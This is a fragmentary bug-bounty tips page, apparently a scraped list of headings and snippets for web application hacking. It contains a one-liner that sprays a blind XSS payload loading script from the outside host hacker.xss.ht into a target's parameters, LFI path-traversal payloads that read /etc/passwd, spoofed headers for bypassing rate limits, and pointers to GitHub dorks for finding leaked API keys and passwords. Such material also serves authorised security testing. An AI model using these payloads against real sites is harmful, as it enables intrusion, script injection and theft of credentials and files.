One Liner To Find Blind XSS
Blind XSS in Parameters

subfinder -d target.com | gau | grep "&" | bxss -appendMode -payload '"><script src=hacker.xss.ht></script>' -parameters
Testing Authentication Flaws in Web Application
Some filter bypass payload list while hunting for LFi vulnerability


β†’index.php?page=....//....//etc/passwd
β†’index.php?page=..///////..////..//////etc/passwd
β†’index.php?page=/var/www/../../etc/passwd
Remote File Inclusion (RFI)
Rate limit bypass using some custom headers:

X-Forwarded-For: IP
X-Forwarded-IP: IP
X-Client-IP: IP
X-Remote-IP: IP
X-Originating-IP: IP
X-Host: IP
X-Client: IP
403 bypass techniques
Bypassing Rate Limit Protection
Github Dorks Cheatsheet

Find files with sensitive info, API Keys, Tokens and Passwords.

+ list of github dorks automation tools
Chrome has just unleashed popovers: modal dialogs without JS! Of course you can abuse them for XSS filter evasion